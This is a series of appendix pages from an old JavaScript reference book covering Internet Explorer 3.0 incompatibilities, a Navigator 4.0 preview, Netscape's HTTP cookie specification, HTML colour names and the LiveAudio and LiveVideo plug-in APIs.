JavaScript Incompatibilities in Internet Explorer 3.0 		Next

D.3 Form Values and String Conversion

The JavaScript interpreter in Internet Explorer 3.0 does not always convert objects to strings when they are used in a "string context". This happens most notably when objects are assigned to the value field of form elements. To make this work correctly, you have to explicitly convert the object to a string, either by invoking its toString() method or by adding the empty string to it. To display the date and time in a form, for example, you'd have to use code like this:

today = new Date();
document.forms[0].dateandtime.value = today.toString()
or like this:

today = new Date();
document.forms[0].dateandtime.value = today + "";

If you encounter this conversion problem in other contexts, the workaround is the same.

Previous | Home | Next
Case Sensitivity | Book Index | Object Model Differences
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix D] D.4 Object Model Differences

JavaScript: The Definitive Guide

Previous Appendix D
JavaScript Incompatibilities in Internet Explorer 3.0 		Next

D.4 Object Model Differences

There are a few other differences in support for HTML and browser objects in Navigator and Internet Explorer 3.0:

  • The Window.open() method does not correctly load the argument specified in the first argument in IE 3.0. This same bug exists for some platforms in Navigator 2.0. The workaround is to first open a new window and then load the desired document by setting the location property. Also, the Window.name property is read-only in IE 3.0.

  • The Document.open() method in IE 3.0 ignores the MIME type argument, if any is passed. It assumes that all documents are of type "text/html".

  • IE 3.0 records cookies only when the document is loaded via the http: protocol. Documents loaded from the local disk (as they commonly are when being developed or tested) cannot use cookies.

  • The blur() method of form elements behaves differently (and probably more sensibly) in IE 3.0 that it does in Navigator. The difference is detailed in the "Element.blur()" reference entry.

  • The History.go() method can only move backward or forward a single step at a time in IE 3.0, and the History.length property always returns 0.

Previous | Home | Next
Form Values and String Conversion | Book Index | Garbage Collection
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix D] D.5 Garbage Collection

JavaScript: The Definitive Guide

Previous Appendix D
JavaScript Incompatibilities in Internet Explorer 3.0 		Next

D.5 Garbage Collection

Internet Explorer 3.0 uses a "true" garbage collection scheme. This means that it never has problems with object cycles as Navigator 3.0, with its reference counting scheme, does. It also means that it avoids all the problems that plague Navigator 2.0's garbage collection scheme. For a full discussion of garbage collection, see Chapter 11, Windows and the JavaScript Name Space.

Previous | Home | Next
Object Model Differences | Book Index | Security
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix D] D.6 Security

JavaScript: The Definitive Guide

Previous Appendix D
JavaScript Incompatibilities in Internet Explorer 3.0 		Next

D.6 Security

Navigator 2.0.2 and Navigator 3.0 implement a very restrictive "hobble" in the interests of security: a script running in one window cannot read the properties of another window unless the contents of that window were loaded from the same server as the script. Internet Explorer 3.0 implements security measures, but this is not one of them. This means that users of IE 3.0 may be vulnerable to malicious scripts that steal information. See Chapter 20, JavaScript Security for a full discussion of JavaScript security issues.

Previous | Home | Next
Garbage Collection | Book Index | Communication with Java
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix D] D.7 Communication with Java

JavaScript: The Definitive Guide

Previous Appendix D
JavaScript Incompatibilities in Internet Explorer 3.0 		Next

D.7 Communication with Java

In Navigator 3.0, JavaScript can communicate with Java in a very full-featured way through LiveConnect. Internet Explorer 3.0 does not support LiveConnect, and future versions of this browser probably won't either. Instead, IE 3.0 allows JavaScript programs to treat applets as ActiveX objects, and read and write fields and invoke methods of those applets. Note however that IE 3.0 does not suport the applets[] array of the Document object--applets must be referred to by name. Also, note that IE 3.0 mechanism for communication with Java is not nearly so full-featured as LiveConnect. See Chapter 19, LiveConnect: JavaScript and Java for details.

Previous | Home | Next
Security | Book Index | Supported but Nonfunctional Properties
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix D] D.8 Supported but Nonfunctional Properties

JavaScript: The Definitive Guide

Previous Appendix D
JavaScript Incompatibilities in Internet Explorer 3.0 		Next

D.8 Supported but Nonfunctional Properties

In Internet Explorer 3.0, a number of the properties supported by Navigator 2.0 and 3.0 are "supported" only in the sense that they can be used without causing errors. These properties may not return meaningful values when read and/or do not cause any changes when set. Some properties, like Document.alinkColor are non-functional simply because the browser as a whole does not support the feature (special colors for activated links, in this case). Others are simply not supported presumably because the engineers at Microsoft did not have the time to implement them. These include the action, encoding, method and target properties of the Form object and the length property of the History object.

The isNaN() function also falls into the category of "supported but nonfunctional." Because IE 3.0 does not support NaN values, the isNaN() function always returns false.

Previous | Home | Next
Communication with Java | Book Index | Miscellaneous Differences
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix D] D.9 Miscellaneous Differences

JavaScript: The Definitive Guide

Previous Appendix D
JavaScript Incompatibilities in Internet Explorer 3.0 		Next

D.9 Miscellaneous Differences

Other differences between Navigator and Internet Explorer 3.0 are small details about the way values are computed and printed:

  • The for/in statement in IE 3.0 does not always enumerate the same object properties that Navigator does. It does enumerate all user-defined properties, which is its primary function. But predefined properties of built-in objects are not always listed.

  • The && and || operators behave somewhat differently in Navigator and Internet Explorer, although, since JavaScript is an untyped langauge, the difference is usually irrelevant. When the first operand of the && operator evaluates to true, then the operator returns the value of the second operand in Navigator. In Internet Explorer, this second operand is first converted to a Boolean value, and that value is returned. Thus the expression

    true && 10
    evaluates to 10 in Navigator but to true in Internet Explorer. This may seem like a major difference, but because JavaScript is an untyped langauge, it rarely matters. The && operator is almost always used in a Boolean context, such as the expression of an if statement, so even when Navigator returns a value like 10, that value will be immediately converted to the Boolean value true within that context. The same evaluation difference occurs when the first operand of the || operator evaluates to false.

  • In Internet Explorer 3.0, Boolean values implicitly are converted to strings differently than they are in Navigator. The value true is converted to the string -1, and the value false is converted to the string 0. If you actually want them to be converted to the strings "true" and "false", you must convert them explicitly by adding them to the empty string.

  • User-defined function values are also converted to strings differently in IE 3.0. In Navigator, functions are converted to a string that includes the complete body of the function. In fact, you can even use eval() function to define the function in some other window. This does not work in Internet Explorer, which omits the function body from its string representation of functions.

Previous | Home | Next
Supported but Nonfunctional Properties | Book Index | A Preview of Navigator 4.0
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix E] A Preview of Navigator 4.0

JavaScript: The Definitive Guide

Previous Appendix E Next

E. A Preview of Navigator 4.0

Contents:
Core Language Features
Client-side JavaScript
Code Signing Security Model
Dynamic HTML

This appendix offers a glimpse at the new JavaScript 1.2 functionality in Navigator 4.0, which is part of the Netscape Communicator suite. This appendix was originally written before any beta version of Communicator were released, and has now been updated in a reprint to reflect the final 4.0 version of Communicator (the JavaScript documentation released with Communicator, however, is itself slightly out of date, and reflects the beta 5 version.) Space constraints in this reprint prevent this appendix from being anything more that a summary of JavaScript 1.2. You can find a more detailed introduction to the features summarized here in an online chapter available from this book's catalog page at http://www.ora.com/catalog/jscript2

E.1 Core Language Features

Navigator 4.0 supports JavaScript version 1.2. In a <SCRIPT> tag, you can specify that this version of the language is to be used by specifying LANGUAGE="JavaScript1.2". There are a number of major changes to the core JavaScript language in this version:

  • JavaScript 1.2 supports a switch statement, a do/while loop, and labelled break and continue statements, just as Java does.

  • The delete operator, which was deprecated in JavaScript 1.1, has been given new life. In JavaScript 1.2, this operator actually deletes or removes properties of an object or top-level variables.

  • The equality operator, ==, behaves slightly differently in JavaScript 1.2. It makes no attempt to convert its operands to the same type, as it did in previous versions of the language, and always returns false if the operands are not of the same type. For backwards compatibility, this new behavior only occurs when JavaScript 1.2 is explicitly being used with a LANGUAGE="JavaScript1.2" attribute in a <SCRIPT> tag.

  • Arrays and objects may be specified as literals in JavaScript 1.2. You specify an array by listing its elements within square brackets, and you specify an object by listing its properties within curly braces. For example:

    o = { name:"Ernest", age:99, male:true };  // a literal object
a = [1, 2, 4, 8, 16, 32, 64, 128];         // a literal array

  • Function definitions may be nested within other function definitions in JavaScript 1.2. A nested function is only visible within, and may only be invoked from, the function within which it is nested, of course.

  • JavaScript 1.2 supports regular expressions through a new RegExp object and through a new literal syntax. A regular expression is included literally in a program by enclosing it in forward slashes. For example the expression /;+/ represents one or more semicolons. JavaScript 1.2 uses Perl regular expression syntax. The RegExp and String objects have methods that use regular expressions.

  • JavaScript 1.2 features true garbage collection rather than the reference counting model used in Navigator 3.0.

  • There are also a number of miscellaneous changes in JavaScript 1.2. The String object has some new and changed methods. The Array() constructor has slightly different behavior. There have been minor changes to the Number object. For backwards compatibility, these changes typically only take effect when JavaScript 1.2 is explicitly specified with the LANGUAGE attribute of the <SCRIPT> tag.

Previous | Home | Next
Miscellaneous Differences | Book Index | Client-side JavaScript
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix E] E.2 Client-side JavaScript

JavaScript: The Definitive Guide

Previous Appendix E
A Preview of Navigator 4.0 		Next

E.2 Client-side JavaScript

Navigator 4.0 includes some new ways that client-side JavaScript is embedded within HTML documents.

  • JavaScript 1.2 include support for "conditional comments", a way of combining an HTML JavaScript entity with an HTML comment. If the JavaScript expression within the entity evaluates to true, then the comment will be ignored, and any JavaScript code within it will be executed (and any HTML text will be displayed). On the other hand, if the expression evaluates to false, then the conditional comment behaves like a normal HTML comment, and its contents are ignored. In this way, you can write JavaScript code that will only run on platforms that can support it. The code below, for example, will only run if the navigator.platform property (also new in JavaScript 1.2) is equal to the string "win95".

    <!--&{navigator.platform == "win95"};
  <script>
    ...  // JavaScript code goes here
  </script>
-->

  • Navigator 4.0 allows JavaScript code to be embedded in an HTML file with the new ARCHIVE attribute of the <SCRIPT> tag. This is much like the ARCHIVE attribute of the <APPLET> tag that is used to embed Java applets in a Web page. This attribute specifies an archive file, in Java JAR format (the JAR format is a ZIP file with the addition of a standardized manifest file). The advantage of a JAR file for storing JavaScript code is that files in a JAR archive can have digital signatures attached to them. A digital signature guarantees the authenticity of the signed code, and, if you trust the signer, this allows you to trust their code as well.

Previous | Home | Next
Core Language Features | Book Index | Code Signing Security Model
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix E] E.3 Code Signing Security Model

JavaScript: The Definitive Guide

Previous Appendix E
A Preview of Navigator 4.0 		Next

E.3 Code Signing Security Model

The ARCHIVE attribute described above hints at another major change in JavaScript 1.2: a new security model. The experimental data tainting model has been discarded, and replaced with the more robust model used by Java applets. The model is conceptually fairly simple: JavaScript code signed by an entity that the user has declared to be trusted can have privileges that untrusted code does not. Those privileges include things like viewing the contents of the History array and submitting forms by e-mail. Essentially, the "hobbles" imposed on untrusted code are lifted for trusted code. In order to take advantage of these new capabilities, JavaScript code must be digitally signed, included in a JAR file, and it must use LiveConnect to invoke Java methods that temporarily enable additional privileges.

Previous | Home | Next
Client-side JavaScript | Book Index | Dynamic HTML
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix E] E.4 Dynamic HTML

JavaScript: The Definitive Guide

Previous Appendix E
A Preview of Navigator 4.0 		Next

E.4 Dynamic HTML

Perhaps the most exciting new features in Navigator 4.0 fall into the category of "dynamic html". These are HTML and JavaScript enhancements that allow Web pages to have much more dynamic behavior.

  • Navigator 4.0 supports new <LAYER> and <ILAYER> tags that allow HTML text and objects to be positioned at absolute coordinates within a window, and to be stacked on top of each other (hence the name "Layer"). Layers function as sub-documents that can be independently positioned, stacked, and hidden. They support some dramatic new forms of JavaScript animation, as well as giving Web-page designers pixel-level control over the contents of a page. Each Document object has a layers[] array listing the Layer objects it contains, and each Layer object has a document property that refers to the HTML document it contains. Layers can be dynamically created with the Layer() constructor.

  • Navigator 4.0 supports standard "Cascading Style Sheets" (CSS) and also supports a variant known as "JavaScript Style Sheets" (JSS). JavaScript style sheets provide essentially the same functionality as cascading style sheets do, but allow specification of document styles using JavaScript syntax, instead of the special-purpose CSS syntax. Where CSS have a purely descriptive syntax, JSS are described with a programming language and thus have additional run-time flexibility. JavaScript style sheets are an entirely new way in which JavaScript is used in HTML documents. Besides being used in event handlers and <SCRIPT> tags, JavaScript can now be used in <STYLE> tags as well.

  • Navigator 4.0 and JavaScript 1.2 support a much more flexible event handling scheme. There is a new Event object that contains properties that describe the details of an event. Event handlers are now all passed an Event object when they are invoked. In addition, there is a much larger set of event handlers, and a well defined event-handling hierarchy. It is possible, for example, for individual Layers to respond to mouse events and individual keystrokes that occur over them.

  • Miscellaneous related new features include new Window methods, a new Screen object, and new properties of the Navigator object. The window methods allow a program to resize and re-position windows, bring up a Print dialog, activate the Forward and Back browser buttons, and so on. Because of the power of these new methods, most of them are restricted to trusted scripts that have been digitally signed as described above. The Screen object provides information about the size and color depth of the screen on which Navigator is running. This allows JavaScript applications to customize themselves based on available screen real-estate, for example. The Navigator object has new platform and language properties that allow JavaScript programs to customize themselves based on the current platform and on the user's preferred language.

Previous | Home | Next
Code Signing Security Model | Book Index | Persistent Client State: HTTP Cookies
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix F] Persistent Client State: HTTP Cookies

JavaScript: The Definitive Guide

Previous Appendix F Next

F. Persistent Client State: HTTP Cookies

Contents:
Copyright
Introduction
Overview
Specification
Examples

Author's note: This appendix contains the complete text of the HTTP Cookie specification from Netscape. This document can also be found at:

http://home.netscape.com/newsref/std/cookie_spec.html

It is a "preliminary specification", and, as such, is subject to change. Because it is "preliminary" Netscape warns that it should be used "with caution". Since the specification was originally written, however, the use of cookies has become commonplace, and the details described here are much more stable than they were when this specification was first written. While this specification constitutes the "final word" on cookies, it is aimed at CGI programmers and at the implementors of web servers and browsers. The JavaScript interface to cookies is described in Chapter 15, Saving State with Cookies .

F.1 Copyright

This document Copyright © 1997 Netscape Communications Corp. All rights reserved. No portion of this document may be reprinted or copied without the express written permission of Netscape.

NOTE:

This is a preliminary specification--use with caution.

Previous | Home | Next
Dynamic HTML | Book Index | Introduction
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix F] F.2 Introduction

JavaScript: The Definitive Guide

Previous Appendix F
Persistent Client State: HTTP Cookies 		Next

F.2 Introduction

Cookies are a general mechanism which server-side connections (such as CGI scripts) can use to both store and retrieve information on the client side of the connection. The addition of a simple, persistent, client-side state significantly extends the capabilities of web-based client/server applications.

Previous | Home | Next
Copyright | Book Index | Overview
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix F] F.3 Overview

JavaScript: The Definitive Guide

Previous Appendix F
Persistent Client State: HTTP Cookies 		Next

F.3 Overview

A server, when returning an HTTP object to a client, may also send a piece of state information which the client will store. Included in that state object is a description of the range of URLs for which that state is valid. Any future HTTP requests made by the client which fall in that range will include a transmittal of the current value of the state object from the client back to the server. The state object is called a cookie, for no compelling reason.

This simple mechanism provides a powerful new tool which enables a host of new types of applications to be written for web-based environments. Shopping applications can now store information about the currently selected items, for-fee services can send back registration information and free the client from retyping a user-id on next connection, sites can store per-user preferences on the client, and have the client supply those preferences every time that site is connected to.

Previous | Home | Next
Introduction | Book Index | Specification
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix F] F.4 Specification

JavaScript: The Definitive Guide

Previous Appendix F
Persistent Client State: HTTP Cookies 		Next

F.4 Specification

A cookie is introduced to the client by including a Set-Cookie header as part of an HTTP response; typically this will be generated by a CGI script.

Syntax of the Set-Cookie HTTP Response Header

This is the format a CGI script would use to add to the HTTP headers a new piece of data which is to be stored by the client for later retrieval.

Set-Cookie: name=value; expires=date;
path=path; domain=domain_name; secure

name=value

This string is a sequence of characters excluding semicolons, commas, and white space. If there is a need to place such data in the name or value, some encoding method such as URL style %XX encoding is recommended, though no encoding is defined or required.

This is the only required attribute on the Set-Cookie header.

expires=date

The expires attribute specifies a date string that defines the valid lifetime of that cookie. Once the expiration date has been reached, the cookie will no longer be stored or given out.

The date string is formatted as:

Wdy, DD-Mon-YYYY HH:MM:SS GMT

This is based on RFC 822, RFC 850, RFC 1036, and RFC 1123, with the variations that the only legal time zone is GMT and the separators between the elements of the date must be dashes.

expires is an optional attribute. If not specified, the cookie will expire when the user's session ends.

NOTE:

There is a bug in Netscape Navigator version 1.1 and earlier. Only cookies whose path attribute is set explicitly to "/" will be properly saved between sessions if they have an expires attribute.

domain=domain_name

When searching the cookie list for valid cookies, a comparison of the domain attributes of the cookie is made with the Internet domain name of the host from which the URL will be fetched. If there is a tail match, then the cookie will go through path matching to see if it should be sent. "Tail matching" means that domain attribute is matched against the tail of the fully qualified domain name of the host. A domain attribute of acme.com would match host names anvil.acme.com as well as shipping.crate.acme.com.

Only hosts within the specified domain can set a cookie for a domain and domains must have at least two (2) or three (3) periods in them to prevent domains of the form: .com, .edu, and va.us. Any domain that falls within one of the seven special top level domains listed below only require two periods. Any other domain requires at least three. The seven special top level domains are: com, edu, net, org, gov, mil, and int.

The default value of domain is the host name of the server which generated the cookie response.

path=path

The path attribute is used to specify the subset of URLs in a domain for which the cookie is valid. If a cookie has already passed domain matching, then the pathname component of the URL is compared with the path attribute, and if there is a match, the cookie is considered valid and is sent along with the URL request. The path /foo would match /foobar and /foo/bar.html. The path / is the most general path.

If the path is not specified, it as assumed to be the same path as the document being described by the header which contains the cookie.

secure

If a cookie is marked secure, it will only be transmitted if the communications channel with the host is a secure one. Currently this means that secure cookies will only be sent to HTTPS (HTTP over SSL) servers.

If secure is not specified, a cookie is considered safe to be sent in the clear over unsecured channels.

Syntax of the Cookie HTTP Request Header

When requesting a URL from an HTTP server, the browser will match the URL against all cookies and if any of them match, a line containing the name/value pairs of all matching cookies will be included in the HTTP request. Here is the format of that line:

Cookie: NAME1=OPAQUE_STRING1; NAME2=OPAQUE_STRING2 ...

Additional Notes

  • Multiple Set-Cookie headers can be issued in a single server response.

  • Instances of the same path and name will overwrite each other, with the latest instance taking precedence. Instances of the same path but different names will add additional mappings.

  • Setting the path to a higher-level value does not override other more specific path mappings. If there are multiple matches for a given cookie name, but with separate paths, all the matching cookies will be sent. (See examples below.)

  • The expires header lets the client know when it is safe to purge the mapping but the client is not required to do so. A client may also delete a cookie before its expiration date arrives if the number of cookies exceeds its internal limits.

  • When sending cookies to a server, all cookies with a more specific path mapping should be sent before cookies with less specific path mappings. For example, a cookie "name1=foo" with a path mapping of / should be sent after a cookie "name1=foo2" with a path mapping of /bar if they are both to be sent.

  • There are limitations on the number of cookies that a client can store at any one time. This is a specification of the minimum number of cookies that a client should be prepared to receive and store:

    • 300 total cookies;

    • 4 kilobytes per cookie, where the name and the OPAQUE_STRING combine to form the 4 kilobyte limit;

    • 20 cookies per server or domain (note that completely specified hosts and domains are treated as separate entities and have a 20-cookie limitation for each, not combined).

    Servers should not expect clients to be able to exceed these limits. When the 300-cookie limit or the 20-cookie-per-server limit is exceeded, clients should delete the least recently used cookie. When a cookie larger than 4 kilobytes is encountered the cookie should be trimmed to fit, but the name should remain intact as long as it is less than 4 kilobytes.

  • If a CGI script wishes to delete a cookie, it can do so by returning a cookie with the same name, and an expires time which is in the past. The path and name must match exactly in order for the expiring cookie to replace the valid cookie. This requirement makes it difficult for anyone but the originator of a cookie to delete a cookie.

  • When caching HTTP, as a proxy server might do, the Set-cookie response header should never be cached.

  • If a proxy server receives a response which contains a Set-cookie header, it should propagate the Set-cookie header to the client, regardless of whether the response was 304 (Not Modified) or 200 (OK).

    Similarly, if a client request contains a Cookie: header, it should be forwarded through a proxy, even if the conditional If-modified-since request is being made.

Previous | Home | Next
Overview | Book Index | Examples
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix F] F.5 Examples

JavaScript: The Definitive Guide

Previous Appendix F
Persistent Client State: HTTP Cookies 		Next

F.5 Examples

Here are some sample exchanges which are designed to illustrate the use of cookies.

First Example Transaction Sequence

Client requests a document, and receives in the response:

Set-Cookie: CUSTOMER=WILE_E_COYOTE; path=/;
            expires=Wednesday, 09-Nov-99 23:12:40 GMT

When client requests a URL in path / on this server, it sends:

Cookie: CUSTOMER=WILE_E_COYOTE

Client requests a document, and receives in the response:

Set-Cookie: PART_NUMBER=ROCKET_LAUNCHER_0001; path=/

When client requests a URL in path / on this server, it sends:

Cookie: CUSTOMER=WILE_E_COYOTE; PART_NUMBER=ROCKET_LAUNCHER_0001

Client receives:

Set-Cookie: SHIPPING=FEDEX; path=/foo

When client requests a URL in path / on this server, it sends:

Cookie: CUSTOMER=WILE_E_COYOTE; PART_NUMBER=ROCKET_LAUNCHER_0001

When client requests a URL in path /foo on this server, it sends:

Cookie: CUSTOMER=WILE_E_COYOTE; PART_NUMBER=ROCKET_LAUNCHER_0001; SHIPPING=FEDEX

Second Example Transaction Sequence

Assume all mappings from above have been cleared.

Client receives:

Set-Cookie: PART_NUMBER=ROCKET_LAUNCHER_0001; path=/

When client requests a URL in path / on this server, it sends:

Cookie: PART_NUMBER=ROCKET_LAUNCHER_0001

Client receives:

Set-Cookie: PART_NUMBER=RIDING_ROCKET_0023; path=/ammo

When client requests a URL in path /ammo on this server, it sends:

Cookie: PART_NUMBER=RIDING_ROCKET_0023; PART_NUMBER=ROCKET_LAUNCHER_0001

NOTE:

There are two name/value pairs named PART_NUMBER due to the inheritance of the / mapping in addition to the /ammo mapping.

Previous | Home | Next
Specification | Book Index | JavaScript and HTML Color Names and Values
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix G] JavaScript and HTML Color Names and Values

JavaScript: The Definitive Guide

Previous Appendix G Next

G. JavaScript and HTML Color Names and Values

HTML and JavaScript allow colors to be specified for such things as text color, link color, document background, and even the background of table cells. Colors can be specified in a fully general #RRGGBB format, in which RR, GG, and BB are each two hexadecimal digits which represent the intensity of red, green, and blue primaries in the color. Two hexadecimal digits provide 8 color values, or 256 possible levels for each of the red, green, and blue primaries. Using the color specification scheme, you would use "#000000" for black and "#FFFFFF" for white. "#00FF00" would produce a very intense green, and "#A0A0A0" would produce a gray color.

Because it can be difficult to determine the hexadecimal values for the colors you desire, HTML and JavaScript also allow certain colors to be specified by name. The HTML 3.2 standard defines sixteen standard color names that should be supported by all conforming browsers. These colors are listed in Table G.1. This list of sixteen colors was chosen to match the 16 colors supported on old VGA display hardware. Note that the HTML 3.2 standard does not specify the actual color values for each of these named colors, so they may be displayed somewhat differently by different browsers.

Table G.1: Standard Color Names in HTML 3.2
aqua | gray | navy | silver
black | green | olive | teal
blue | lime | purple | white
fuchsia | maroon | red | yellow

Navigator 2.0 and 3.0 and Internet Explorer 3.0 each support all of the standard colors listed in Table G.1. In addition to these standard colors, Navigator also recognizes quite a few other color names, which are listed in Table G.2. Because these color names are not standardized in any way,[1] it is not really a good idea to rely on them in production web pages that may be viewed on web browsers that do not support these color names. For that reason, Table G.2 also lists the hexadecimal color string equivalents for each of these colors. If you use the color name while developing a JavaScript program, you can replace it with the corresponding color value for the release version of that program.

[1] Programmers familiar with the X Window System may recognize the color names in this table, at least the bizarre ones such as "papayawhip"; the color names and values are derived from the "color database" shipped with the X11 distribution.

Table G.2: Colors
Color Name | Color Value | Color Name | Color Value
aliceblue | #F0F8FF | lightsalmon | #FFA07A
antiquewhite | #FAEBD7 | lightseagreen | #20B2AA
aqua | #00FFFF | lightskyblue | #87CEFA
aquamarine | #7FFFD4 | lightslategray | #778899
azure | #F0FFFF | lightsteelblue | #B0C4DE
beige | #F5F5DC | lightyellow | #FFFFE0
bisque | #FFE4C4 | lime | #00FF00
black | #000000 | limegreen | #32CD32
blanchedalmond | #FFEBCD | linen | #FAF0E6
blue | #0000FF | magenta | #FF00FF
blueviolet | #8A2BE2 | maroon | #800000
brown | #A52A2A | mediumaquamarine | #66CDAA
burlywood | #DEB887 | mediumblue | #0000CD
cadetblue | #5F9EA0 | mediumorchid | #BA55D3
chartreuse | #7FFF00 | mediumpurple | #9370DB
chocolate | #D2691E | mediumseagreen | #3CB371
coral | #FF7F50 | mediumslateblue | #7B68EE
cornflowerblue | #6495ED | mediumspringgreen | #00FA9A
cornsilk | #FFF8DC | mediumturquoise | #48D1CC
crimson | #DC143C | mediumvioletred | #C71585
cyan | #00FFFF | midnightblue | #191970
darkblue | #00008B | mintcream | #F5FFFA
darkcyan | #008B8B | mistyrose | #FFE4E1
darkgoldenrod | #B8860B | moccasin | #FFE4B5
darkgray | #A9A9A9 | navajowhite | #FFDEAD
darkgreen | #006400 | navy | #000080
darkkhaki | #BDB76B | oldlace | #FDF5E6
darkmagenta | #8B008B | olive | #808000
darkolivegreen | #556B2F | olivedrab | #6B8E23
darkorange | #FF8C00 | orange | #FFA500
darkorchid | #9932CC | orangered | #FF4500
darkred | #8B0000 | orchid | #DA70D6
darksalmon | #E9967A | palegoldenrod | #EEE8AA
darkseagreen | #8FBC8F | palegreen | #98FB98
darkslateblue | #483D8B | paleturquoise | #AFEEEE
darkslategray | #2F4F4F | palevioletred | #DB7093
darkturquoise | #00CED1 | papayawhip | #FFEFD5
darkviolet | #9400D3 | peachpuff | #FFDAB9
deeppink | #FF1493 | peru | #CD853F
deepskyblue | #00BFFF | pink | #FFC0CB
dimgray | #696969 | plum | #DDA0DD
dodgerblue | #1E90FF | powderblue | #B0E0E6
firebrick | #B22222 | purple | #800080
floralwhite | #FFFAF0 | red | #FF0000
forestgreen | #228B22 | rosybrown | #BC8F8F
fuchsia | #FF00FF | royalblue | #4169E1
gainsboro | #DCDCDC | saddlebrown | #8B4513
ghostwhite | #F8F8FF | salmon | #FA8072
gold | #FFD700 | sandybrown | #F4A460
goldenrod | #DAA520 | seagreen | #2E8B57
gray | #808080 | seashell | #FFF5EE
green | #008000 | sienna | #A0522D
greenyellow | #ADFF2F | silver | #C0C0C0
honeydew | #F0FFF0 | skyblue | #87CEEB
hotpink | #FF69B4 | slateblue | #6A5ACD
indianred | #CD5C5C | slategray | #708090
indigo | #4B0082 | snow | #FFFAFA
ivory | #FFFFF0 | springgreen | #00FF7F
khaki | #F0E68C | steelblue | #4682B4
lavender | #E6E6FA | tan | #D2B48C
lavenderblush | #FFF0F5 | teal | #008080
lawngreen | #7CFC00 | thistle | #D8BFD8
lemonchiffon | #FFFACD | tomato | #FF6347
lightblue | #ADD8E6 | turquoise | #40E0D0
lightcoral | #F08080 | violet | #EE82EE
lightcyan | #E0FFFF | wheat | #F5DEB3
lightgoldenrodyellow | #FAFAD2 | white | #FFFFFF
lightgreen | #90EE90 | whitesmoke | #F5F5F5
lightgrey | #D3D3D3 | yellow | #FFFF00
lightpink | #FFB6C1 | yellowgreen | #9ACD32

Previous | Home | Next
Examples | Book Index | LiveConnected Navigator Plug-Ins
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix H] LiveConnected Navigator Plug-Ins

JavaScript: The Definitive Guide

Previous Appendix H Next

H. LiveConnected Navigator Plug-Ins

Contents:
LiveAudio
LiveVideo
Live3D

Netscape Navigator 3.0 ships (on some platforms, at least) with three built-in plug-ins that have support for LiveConnect. These plug-ins are LiveAudio, LiveVideo, and Live3D. Recall from Chapter 19, LiveConnect: JavaScript and Java that you can interact with plug-ins from JavaScript in the same way that you interact with Java applets. The sections below briefly describe the LiveConnect API provided by each of these plug-ins.

Note that this appendix does not provide full documentation for these plug-ins. In particular, it does not explain how to use the <EMBED> tag to embed data for these plug-ins into an HTML document. Some of these plug-ins define quite a few attributes for use with <EMBED> and have fairly complex HTML syntax. You can find details at:

http://home.netscape.com/comprod/products/navigator/version_3.0/
development/

Once you understand how these various plug-ins work, this appendix should serve as a convenient reference to their LiveConnect APIs. It won't teach you about the plug-ins themselves, however.

H.1 LiveAudio

The LiveAudio plug-in plays audio files in most common formats, including AIFF, AU, MIDI, and WAV. It is bundled with Navigator 3.0 on Windows and Macintosh platforms. Its LiveConnect API consists of the following 14 methods:

end_time(seconds)

Specify the time at which the audio clip should stop playing. Calling this method overrides the STARTTIME attribute.

fade_from_to(from, to)

Fade the sound from the volume from to the volume to. Both volumes should be volume percentages expressed as integers between 0 and 100.

fade_to(volume)

Fade the sound to the specified volume. This argument specifies volume as a percentage of maximum volume and should be expressed as an integer between 0 and 100.

GetVolume()

Returns the current volume of the sound, as an integer between 0 and 100. This number represents a percentage of maximum volume.

IsPaused()

Returns true if the sound is paused; false otherwise.

IsPlaying()

Returns true if the sound is playing; false otherwise.

IsReady()

Returns true if the sound has completed loading and the plug-in is ready to play it.

pause()

Pause sound playing, without restarting at the beginning.

play(loop, url)

Play the sound specified by url. If loop is true, then the sound should be played over and over again continuously. If loop is false, then it should be played only once. Otherwise, if loop is an integer, it specifies the number of times that the sound should be played. This loop argument corresponds closely to the HTML LOOP attribute.

setvol(volume)

Sets the volume of the sound to volume. This argument represents the volume as a percentage of the maximum volume and should be expressed as an integer between 0 and 100.

start_at_beginning()

This method overrides the start_time() method or the STARTTIME HTML attribute and forces the sound to be played from the beginning.

stop()

Stop playing the sound.

StopAll()

Stop playing the sound and all other sounds controlled by the LiveAudio plug-in.

stop_at_end()

Calling this method overrides the end_time() method and the ENDTIME HTML attribute and forces the sound to be played all the way to the end.

Previous | Home | Next
JavaScript and HTML Color Names and Values | Book Index | LiveVideo
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix H] H.2 LiveVideo

JavaScript: The Definitive Guide

Previous Appendix H
LiveConnected Navigator Plug-Ins 		Next

H.2 LiveVideo

The LiveVideo plug-in displays AVI format movies, and is bundled with Navigator on Windows 95 and Windows NT platforms. It has a fairly simple LiveConnect API, consisting of just four methods:

play()

Play the movie, starting at the current location.

stop()

Stop playing the movie.

rewind()

Return to the beginning of the movie.

seek(frame)

Skip to the specified frame number within the movie.

